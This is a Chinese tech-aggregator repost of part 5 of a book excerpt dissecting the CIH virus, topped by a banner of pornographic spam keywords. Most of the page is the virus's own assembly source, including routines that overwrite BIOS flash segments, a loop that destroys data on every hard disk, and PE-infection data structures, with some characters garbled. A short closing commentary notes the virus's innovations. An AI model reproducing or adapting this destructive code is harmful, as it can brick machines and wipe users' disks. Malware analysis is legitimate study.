日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

病毒程序源码实例剖析-CIH病毒[5]

發(fā)布時間:2024/3/26 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 病毒程序源码实例剖析-CIH病毒[5] 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
push ecx
  loop $
  
  ;破壞BIOS中額外的000E0000 - 000E007F段的 ROM數(shù)據(jù) ,共80h個字節(jié)
  xor ah, ah
  mov [eax], al
  
  xchg ecx, eax
  loop $
  
  ; 顯示和激活BIOS的000E0000 - 000FFFFF段數(shù)據(jù),共128 KB,該段可寫入信息mov eax, 0f5555h
  popecx
  mov ch, 0aah
  call ebx
  mov byte ptr [eax], 20h
  
  loop $
  
  ; 破壞BIOS的000FE000 - 000FE07F段數(shù)據(jù),共80h字節(jié)
  mov ah, 0e0h
  mov [eax], al
  
  ; 隱藏BIOS的000F0000 - 000FFFFF段,共64 KB
  mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
  call esi
  
  ; 破壞所有硬盤
  KillHardDisk:
  xor ebx, ebx
  mov bh, FirstKillHardDiskNumber
  push ebx
  sub esp, 2ch
  push 0c0001000h
  mov bh, 08h
  push ebx
  push ecx
  push ecx
  push ecx
  push 40000501h
  inc ecx
  push ecx
  push ecx
  
  mov esi, esp
  sub esp, 0ach
  
  ;循環(huán)進行破壞
  LoopOfKillHardDisk:
  int 20h
  dd 00100004h?
  
  cmp word ptr [esi+06h], 0017h
  je KillNextDataSection
  
  ;換下一個硬盤
  ChangeNextHardDisk:
  inc byte ptr [esi+4dh]
  
  jmp LoopOfKillHardDisk
  
  ;破壞下一個區(qū)域
  KillNextDataSection:
  add dword ptr [esi+10h], ebx
  mov byte ptr [esi+4dh], FirstKillHardDiskNumber
  
  jmp LoopOfKillHardDisk
  
  ;使EEPROM能夠寫入信息
  EnableEEPROMToWrite:
  mov [eax], cl
  mov [ecx], al
  mov byte ptr [eax], 80h
  mov [eax], cl
  mov [ecx], al
  
  ret?
  
  IOForEEPROM:
  @10 = IOForEEPROM
  
  xchg eax, edi
  xchg edx, ebp
  out dx, eax
  
  xchg eax, edi
  xchg edx, ebp
  in al, dx
  
  BooleanCalculateCode = $
  or al, 44h
  
  xchg eax, edi
  xchg edx, ebp
  out dx, eax
  
  xchg eax, edi
  xchg edx, ebp
  out dx, al
  
  ret
  
  ;靜態(tài)數(shù)據(jù)定義
  LastVxdCallAddress = IFSMgr_Ring0_FileIO?? ;最后一個調用的Vxd指令地址
  VxdCallAddressTable db 00h
  db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
  db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
  db IFSMgr_Ring0_FileIO-UniToBCSPath??? ;各個Vxd調用指令地址之差
  
  VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h?? ;Vxd的調用號
  VxdCallTableSize = ($-VxdCallIDTable)/04h??? ;程序 中使用Vxd調用的個數(shù)
  
  ;病毒版本和版權信息定義
  VirusVersionCopyright db 'CIH v'??? ;CIH病毒的標識
  db MajorVirusVersion+'0'??? ;主版本號
  db '.'
  db MinorVirusVersion+'0'??? ;次版本號
  db ' TATUNG'??? ;作者名字
  
  ; 病毒 大小
  VirusSize = $? + SizeOfVirusCodeSectionTableEndMark(04h)
  ? + NumberOfSections*SizeOfVirusCodeSectionTable(08h)
  + SizeOfTheFirstVirusCodeSectionTable(04h)
  
  ;動態(tài)數(shù)據(jù)定義
  VirusGameDataStartAddress = VirusSize
  @6 = VirusGameDataStartAddress?? ;病毒數(shù)據(jù)起始地址
  
  OnBusy db 0?? ;“忙”標志
  FileModificationTime dd ??? ;文件修改時間
  
  FileNameBuffer db FileNameBufferSize dup(?)????? ;7fh長的文件名緩沖區(qū)
  @7 = FileNameBuffer
  
  DataBuffer = $
  @8 = DataBuffer
  NumberOfSections dw ???? ; 塊數(shù)目
  TimeDateStamp dd ??????? ; 文件時間
  SymbolsPointer dd ?
  NumberOfSymbols dd ????? ; 符號表中符號個數(shù)
  SizeOfOptionalHeader dw ?? ;可選文件頭的長度
  _Characteristics dw ???????? ;字符集標志
  Magic dw ???????????????? ;標志字(總是010bh)
  LinkerVersion dw ?????????? ;連接器版本號
  SizeOfCode dd ???????????? ;代碼 段大小
  SizeOfInitializedData dd ????? ;已初始化數(shù)據(jù)塊大小
  SizeOfUninitializedData dd ?? ;未初始化數(shù)據(jù)塊大小
  AddressOfEntryPoint dd ????? ;程序起始RVA
  BaseOfCode dd ???????????? ;代碼段起始RVA
  BaseOfData dd ???????????? ;數(shù)據(jù)段起始RVA
  ImageBase dd ????????????? ;裝入基址RVA
  
  @9 = $
  SectionAlignment dd ??? ;塊對齊
  FileAlignment dd ????? ;文件塊對齊
  OperatingSystemVersion dd ??? ;所需 操作系統(tǒng)版本號
  ImageVersion dd ???????????? ;用戶自定義版本號
  SubsystemVersion dd ??????? ;所需子系統(tǒng)版本號
  Reserved dd ????????????? ; 保留
  SizeOfImage dd ???????? ; 文件各部分總長
  SizeOfHeaders dd ??????? ;文件頭大小
  SizeOfImageHeaderToRead = $-NumberOfSections?
  NewAddressOfEntryPoint = DataBuffer
  SizeOfImageHeaderToWrite = 04h?
  
  StartOfSectionTable = @9
  SectionName = StartOfSectionTable???? ;塊名
  VirtualSize = StartOfSectionTable+08h?? ;段真實長度
  VirtualAddress = StartOfSectionTable+0ch? ;塊的RVA
  SizeOfRawData = StartOfSectionTable+10h??? ; 塊物理長度
  PointerToRawData = StartOfSectionTable+14h?? ; 塊物理偏移
  PointerToRelocations = StartOfSectionTable+18h?? ; 重定位的偏移
  PointerToLineNumbers = StartOfSectionTable+1ch??? ; 行號表的偏移
  NumberOfRelocations = StartOfSectionTable+20h???? ; 重定位項數(shù)目
  NumberOfLinenNmbers = StartOfSectionTable+22h??? ; 行號表的數(shù)目
  Characteristics = StartOfSectionTable+24h?? ; 塊屬性
  SizeOfScetionTable = Characteristics+04h-SectionName??? ; 每塊表項的長度
  
  ;病毒所需要的內(nèi)存數(shù)量
  VirusNeedBaseMemory = $
  VirusNeedBaseMemory = $
  
  VirusTotalNeedMemory = @9
  ; + NumberOfSections(??)*SizeOfScetionTable(28h)
  ; + SizeOfVirusCodeSectionTableEndMark(04h)
  ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
  ; + SizeOfTheFirstVirusCodeSectionTable(04h)???
  
  ;病毒程序結束
  VirusGame ENDS
  END FileHeader

  從以上代碼分析過程中,我們可以看出,CIH病毒結構清晰,層次分明。該病毒程序的主干結構與DOS病毒極其相似,只不過對病毒細節(jié)的處理都是按win95方法,全部系統(tǒng)調用都是采用Vxd。這樣做使病毒程序更加底層、效率更高,也便于編程,與用Windows下的API函數(shù)相比,無須考慮病毒自身的復雜重定位過程;與使用中斷相比,又更能防止對程序的跟蹤分析。

  CIH病毒有兩個創(chuàng)新,一是病毒感染時查找感染對象文件的各塊之間的空白區(qū)域,把病毒自己的各種數(shù)據(jù)結構和代碼寫到其中(如果空白區(qū)域不夠就不傳染,這就是為什么有些文件不會被感染的原因之一);二是病毒發(fā)作時能破壞計算機硬件,不但要燒毀Flash Memory,還要毀壞硬盤。

  出于安全的緣故,有關病毒發(fā)作、破壞硬件的這部分代碼,我們沒有給出詳細的分析。

此文章節(jié)選自《計算機病毒與木馬程序剖析》http://shop.csai.cn/itbook/itbookinfo.asp?lbbh=BD05647383

總結

以上是生活随笔為你收集整理的病毒程序源码实例剖析-CIH病毒[5]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。